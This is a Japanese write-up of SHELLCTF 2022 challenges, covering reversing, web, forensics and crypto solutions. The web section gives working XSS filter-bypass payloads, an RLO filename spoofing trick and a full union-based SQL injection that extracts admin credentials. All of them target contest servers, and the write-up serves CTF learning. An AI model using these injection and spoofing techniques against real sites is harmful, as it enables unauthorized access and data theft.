この大会は2022/8/12 21:30(JST)~2022/8/14 21:30(JST)に開催されました。
今回もチームで参戦。結果は5471点で1093チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc)
Discordに入り、#announcementsチャネルを見ると、フラグが書いてあった。
SHELLCTF{W3lc0me_2_SHELLCTF2022}
World's Greatest Detective (Misc)
問題の画像は以下の通りで、換字式暗号と推測できる。
"wakandan font"で検索すると、対応表が出てくる。
https://www.pinterest.jp/pin/783837510135856581/ https://omniglot.com/conscripts/wakandan.htm
この表に従い、対応する文字を並べる。
SHELLCTF{W4kandA_F0rev3r}
How to defeat a dragon (Reversing)
Ghidraでデコンパイルする。
undefined8 main(void) { long in_FS_OFFSET; int local_7c; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined4 local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_78 = 0x4654434c4c454853; local_70 = 0x343534383433357b; local_68 = 0x3434353334633463; local_60 = 0x3535333133623736; local_58 = 0x3336373333323566; local_50 = 0x3631333533323733; local_48 = 0x3333336635373665; local_40 = 0x3766333937333734; local_38 = 0x7d64; local_30 = 0; local_28 = 0; local_20 = 0; local_18 = 0; printf("Help us defeat the dragon!! Enter the code:"); __isoc99_scanf(&DAT_00102034,&local_7c); if (local_7c == 0x10f2c) { printf("Yeahh!!,we did it,We defeated the dragon.Thanks for your help here\'s your reward : %s", &local_78); } else if (local_7c == 0x45) { printf("Nice,but this is not the code :(."); } else if (local_7c == 0x1a4) { printf("Bruh!! Seriously?"); } else { printf("wron..aaaaaahhhhhhhh"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
>>> 0x10f2c 69420
入力時に69420を指定すれば、フラグが表示される。
$ ./vault Help us defeat the dragon!! Enter the code:69420 Yeahh!!,we did it,We defeated the dragon.Thanks for your help here's your reward : SHELLCTF{5348454c4c4354467b31355f523376337235316e675f333473793f7d}
このままだと通らない。ブラケットの中をhexデコードする。
$ echo 5348454c4c4354467b31355f523376337235316e675f333473793f7d | xxd -r -p SHELLCTF{15_R3v3r51ng_34sy?}
SHELLCTF{15_R3v3r51ng_34sy?}
warmup (Reversing)
Ghidraでデコンパイルする。
undefined8 main(void) { bool bVar1; size_t sVar2; long in_FS_OFFSET; int local_ac; int local_a8 [28]; char local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("enter the flag: "); __isoc99_scanf(&DAT_00102015,local_38); sVar2 = strlen(local_38); if (sVar2 == 0x1b) { local_a8[0] = 0x1cc; local_a8[1] = 0x1a0; local_a8[2] = 0x194; local_a8[3] = 0x1b0; local_a8[4] = 0x1b0; local_a8[5] = 0x18c; local_a8[6] = 0x1d0; local_a8[7] = 0x198; local_a8[8] = 0x1ec; local_a8[9] = 0x188; local_a8[10] = 0xc4; local_a8[11] = 0x1d0; local_a8[12] = 0x15c; local_a8[13] = 0x1a4; local_a8[14] = 0xd4; local_a8[15] = 0x194; local_a8[16] = 0x17c; local_a8[17] = 0xc0; local_a8[18] = 0x1c0; local_a8[19] = 0xcc; local_a8[20] = 0x1c8; local_a8[21] = 0x104; local_a8[22] = 0x1d0; local_a8[23] = 0xc0; local_a8[24] = 0x1c8; local_a8[25] = 0x14c; local_a8[26] = 500; bVar1 = true; for (local_ac = 0; local_ac < 0x1b; local_ac = local_ac + 1) { bVar1 = (bool)(bVar1 & local_a8[local_ac] >> 2 == (int)local_38[local_ac]); } if (bVar1) { puts("yes, that\'s it"); } else { puts("nah that\'s not it"); } } else { puts("wrong length"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
local_a8の各値を右へ2ビットシフトすればよい。
#!/usr/bin/env python3 enc = [0x1cc, 0x1a0, 0x194, 0x1b0, 0x1b0, 0x18c, 0x1d0, 0x198, 0x1ec, 0x188, 0xc4, 0x1d0, 0x15c, 0x1a4, 0xd4, 0x194, 0x17c, 0xc0, 0x1c0, 0xcc, 0x1c8, 0x104, 0x1d0, 0xc0, 0x1c8, 0x14c, 500] flag = '' for c in enc: flag += chr(c >> 2) print(flag)
shellctf{b1tWi5e_0p3rAt0rS}
Pulling the strings (Reversing)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; long in_FS_OFFSET; wchar_t local_158 [82]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); wprintf(L"Give Something to eat.\n I\'m Hungry!!"); fgetws(local_158,0x50,stdin); iVar1 = wcscmp((wchar_t *)flag,local_158); if (iVar1 == 0) { fputws(L"Thank you!",stdout); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
flagのデータを見てみる。
flag XREF[2]: Entry Point(*), main:00101213(R) 00104010 08 20 10 addr u_SHELLCTF{Th4nks_f0r_the_food}_00102008 = U"SHELLCTF{Th4nks_f0r_the_food}" 00 00 00 00 00
SHELLCTF{Th4nks_f0r_the_food}
Keygen (Reversing)
Ghidraでデコンパイルする。
undefined8 main(int param_1,long param_2) { size_t sVar1; undefined8 uVar2; int local_20; int local_1c; if (param_1 == 2) { printf("Checking license: %s\n",*(undefined8 *)(param_2 + 8)); local_20 = 0; local_1c = 0; while( true ) { sVar1 = strlen(*(char **)(param_2 + 8)); if (sVar1 < (ulong)(long)local_1c) break; local_20 = local_20 + *(char *)((long)local_1c + *(long *)(param_2 + 8)); local_1c = local_1c + 1; } if (local_20 == 0x312) { uVar2 = getString(); printf("Access Granted!:%s",uVar2); } else { printf("Wrong!!!"); } } else { puts("Usage: ./keygen <key>"); } return 0; } undefined * getString(void) { undefined *puVar1; puVar1 = (undefined *)malloc(0x19); *puVar1 = 0x53; puVar1[1] = 0x48; puVar1[2] = 0x45; puVar1[3] = 0x4c; puVar1[4] = 0x4c; puVar1[5] = 0x43; puVar1[6] = 0x54; puVar1[7] = 0x46; puVar1[8] = 0x7b; puVar1[9] = 0x6b; puVar1[10] = 0x33; puVar1[0xb] = 0x79; puVar1[0xc] = 0x67; puVar1[0xd] = 0x65; puVar1[0xe] = 0x6e; puVar1[0xf] = 0x5f; puVar1[0x10] = 0x31; puVar1[0x11] = 0x73; puVar1[0x12] = 0x5f; puVar1[0x13] = 99; puVar1[0x14] = 0x30; puVar1[0x15] = 0x6f; puVar1[0x16] = 0x4c; puVar1[0x17] = 0x7d; puVar1[0x18] = 0; return puVar1; }
getStringの値を文字にすればよい。
#!/usr/bin/env python3 enc = [0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x54, 0x46, 0x7b, 0x6b, 0x33, 0x79, 0x67, 0x65, 0x6e, 0x5f, 0x31, 0x73, 0x5f, 99, 0x30, 0x6f, 0x4c, 0x7d] flag = '' for c in enc: flag += chr(c) print(flag)
SHELLCTF{k3ygen_1s_c0oL}
Colour Cookie (Web)
"hoge"という名前を入れて、Submitすると、以下のURLに遷移するが、特に表示は変わらない。
http://20.125.142.38:8326/check?name=hoge
リンクされている/static/base_cookie.cssを見てみると、下の方に以下のコメントがある。
/* name="C0loR" */
クエリパラメータのkeyとvalueの組を変えてアクセスする。
$ curl http://20.125.142.38:8326/check?C0loR=Blue <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>S.H.E.L.L CTF</title> <link rel="stylesheet" href="/static/base_cookie.css"> </head> <body> <h5 id="flag"> shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...} </h5> <div id="flag_fake"> <img src="../static/Hack1.jpg" alt=""> </div> </body> </html>
shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...}
Choosy (Web)
"A"と入力すると、以下のURLになり、"a"と表示される。
http://20.193.247.209:8333/result?input=A
以下のURLにアクセスすると、太字で"a"と表示される。
http://20.193.247.209:8333/result?input=<b>A</b>
以下のURLにアクセスすると、"<>alert(1)"と表示される。
http://20.193.247.209:8333/result?input=<script>alert(1)</script>
以下のURLにアクセスすると、ポップアップして"1"と表示される。
http://20.193.247.209:8333/result?input=<scscriptript>alert(1)</scscriptript>
どうやら1回限り"script"は削除されるようだ。scriptタグではなく、imgタグでできる方法も調べてみる。以下を入力し、Submitすると、ポップアップして、フラグが表示された。
<img src="1" onerror="alert(1)">
shellctf{50oom3_P4yL0aDS_aM0ng_Maaa4nnY}
Doc Holder (Web)
画像にコードを埋め込み、アップロードするタイプの問題と推測。まず通常のjpgをSubmitしてみたが、特に関連するデータは表示されず、以下のように表示されるのみ。
Not Tasty
他にもいろいろなファイルをSubmitしてみたところ、pdfファイルのみ以下のように表示される。
Yummmmmmmmmmyyyyy
問題文にヒントが追加されている。
Hint --- Challenge is all about file extension of the file that you are uploading....
拡張子に関する問題ということらしい。RLOの問題と推測し、PDFファイルのファイル名を以下のように変える。
exploit.fdp
さらに"."と"f"の間にRLO制御文字を入れる。
exploit.[RLO]fdp
見た目はexploit.pdfになるので、このファイルをSubmitすると、フラグが表示された。
shellctf{R1ghtt_t0_l3ft_0veRiDe_1s_k3Y}
Extractor (Web)
Username :' or 1=1 -- - Password: (空欄) Signature: (空欄)
上記を入力すると、以下のように表示される。
Welcome Here is what you left with us : Name : user Password : P4ss321 Signature : Nothing here
Usernameにいろいろ入力して情報を抜いてみる。まず列数を割り出す。
・' union select 1 -- - →SELECTs to the left and right of UNION do not have the same number of result columns ・' union select 1, 2 -- - →SELECTs to the left and right of UNION do not have the same number of result columns ・' union select 1, 2, 3 -- - →SELECTs to the left and right of UNION do not have the same number of result columns ・' union select 1, 2, 3, 4 -- - Welcome Here is what you left with us : Name : 2 Password : 3 Signature : 4
次にテーブルの中身を抜いていく。
・' union select 1, sqlite_version(), 3, 4 -- - Welcome Here is what you left with us : Name : 3.27.2 Password : 3 Signature : 4 ・' union select 1, 2, count(*), 4 from sqlite_master where type='table' -- - Welcome Here is what you left with us : Name : 2 Password : 3 Signature : 4 ・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 1 -- - Welcome Here is what you left with us : Name : 2 Password : Admins Signature : 4 ・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 1, 1 -- - Welcome Here is what you left with us : Name : 2 Password : sqlite_sequence Signature : 4 ・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 2, 1 -- - Welcome Here is what you left with us : Name : 2 Password : users Signature : 4 ・' union select 1, 2, sql, 4 from sqlite_master where type='table' and name='Admins' limit 1 -- - Welcome Here is what you left with us : Name : 2 Password : CREATE TABLE Admins ( id INTEGER PRIMARY KEY AUTOINCREMENT, user TEXT NOT NULL, pass TEXT NOT NULL, content TEXT NOT NULL ) Signature : 4 ・' union select 1, user, pass, content from Admins limit 1 -- - Welcome Here is what you left with us : Name : Adminnn Password : H4rD_t0_Gue5s Signature : shellctf{Sql_1Nj3c7i0n_B45iC_XD}
shellctf{Sql_1Nj3c7i0n_B45iC_XD}
Secret Document (Forensics)
"shell"をkeyとして、XORで復号すると、pngが復元される。
#!/usr/bin/env python3 with open('Secret-Document.dat', 'rb') as f: ct = f.read() key = b'shell' pt = b'' for i in range(len(ct)): pt += bytes([ct[i] ^ key[i % len(key)]]) with open('flag.png', 'wb') as f: f.write(pt)
復元されたpng画像にフラグが書いてあった。
shell{y0u_c4n_s33_th3_h1dd3n}
Hidden File (Forensics)
$ steghide extract -sf Hidden.jpg -p shell wrote extracted data to "Hidden Files.zip". $ unzip "Hidden Files.zip" Archive: Hidden Files.zip inflating: se3cretf1l3.pdf inflating: something.jpg inflating: flag.zip
PDFを開き、全選択すると、以下の文字列が隠されていた。
key is shellctf
jpgのQRコードをデコードする。
https://www.youtube.com/watch?v=dQw4w9WgXcQ
いつもの「Rick Astley - Never Gonna Give You Up」に」動画。このURLは関係なさそう。先ほどのkeyをパスワードにして、flag.zipを解凍すると、flag.txtが展開され、フラグが書いてあった。
shell{y0u_g07_th3_flag_N1c3!}
Heaven (Forensics)
StegSolveで開き、[Analyse]-[Data Extract]で、RGBの7ビット目だけチェックを入れると、フラグが現れた。
SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}
GO Deep! (Forensics)
DeepSoundに取り込み、パスワードに"shell"を指定すると、Deep Flag.txtが抽出できる。抽出したファイルにフラグが書いてあった。
SHELL{y0u_w3r3_7h1nk1ng_R3ally_D33p}
Tweeeet (Crypto)
問題の画像は以下の通りで、Birds on a wire codeの換字式暗号と推測できる。
https://www.geocachingtoolbox.com/index.php?lang=en&page=codeTables&id=birdsOnAWireを参照して復号する。
WELOVESINGING
SHELL{WELOVESINGING}
MALBORNE (Crypto)
難解プログラミング言語のMalbolge。https://malbolge.doleczek.pl/で実行する。
Hi hope everything is fine , here is your flag: SHELL{m41b01g3_15_my_n3w_l4ngu4g3}
SHELL{m41b01g3_15_my_n3w_l4ngu4g3}
Feel me (Crypto)
0, 1で点字を表した動画と推測できる。フレームごとに静止画に分解してみる。
#!/usr/bin/python3 import cv2 import os def save_all_frames(video_path, ext='jpg'): if not os.path.exists(video_path): return cap = cv2.VideoCapture(video_path) if not cap.isOpened(): return dir_path = os.path.dirname(video_path) digit = len(str(int(cap.get(cv2.CAP_PROP_FRAME_COUNT)))) n = 0 while True: ret, frame = cap.read() if ret: filename = '{}_{}.{}'.format(os.path.splitext(os.path.basename(video_path))[0], str(n).zfill(digit), ext) cv2.imwrite(os.path.join(dir_path,filename), frame) n += 1 else: return save_all_frames('video.mp4')
分解した点字の画像をそれぞれデコードする。
**ssshheeelllll**yyyoouuuccaaannssseeeeemmeee**ssshheeelllll
SHELL{youcanseeme}
Tring Tring.... (Crypto)
モールス信号としてデコードする。
999/666/88/222/2/66/777/33/2/3/6/999/7777/6/7777
YOUCANREADMYSMS
SHELL{YOUCANREADMYSMS}
OX9OR2 (Crypto)
ブルートフォースして、'SHELL'に復号される箇所を見てみたが、やはり先頭しか妥当な箇所はない。あとは鍵などから推測して復号する。
#!/usr/bin/env python3 with open('encrypted', 'rb') as f: ct = f.read() pt_part = b'SHELL' for i in range(len(ct) - 5): key = [''] * 9 for j in range(len(pt_part)): key[(i + j) % 9] = chr(ct[i + j] ^ pt_part[j]) if not ''.join(key).isalnum(): continue pt = ['*'] * len(ct) success = True for j in range(len(ct)): if key[j % 9] != '': p = ct[j] ^ ord(key[j % 9]) if p < 32 or p > 126: success = False break pt[j] = chr(ct[j] ^ ord(key[j % 9])) if pt[0] == '_': success = False if success: print('[+] flag:', ''.join(pt)) break ## guess flag_head = b'SHELL{X0R' for i in range(5, 9): key[i] = chr(ct[i] ^ flag_head[i]) print('[+] key:', ''.join(key)) flag = '' for i in range(len(ct)): flag += chr(ct[i] ^ ord(key[i % 9])) print('[*] flag:', flag)
実行結果は以下の通り。
[+] flag: SHELL****_1S_R****51BL3* [+] key: XORISCOOL [*] flag: SHELL{X0R_1S_R3VeR51BL3}
SHELL{X0R_1S_R3VeR51BL3}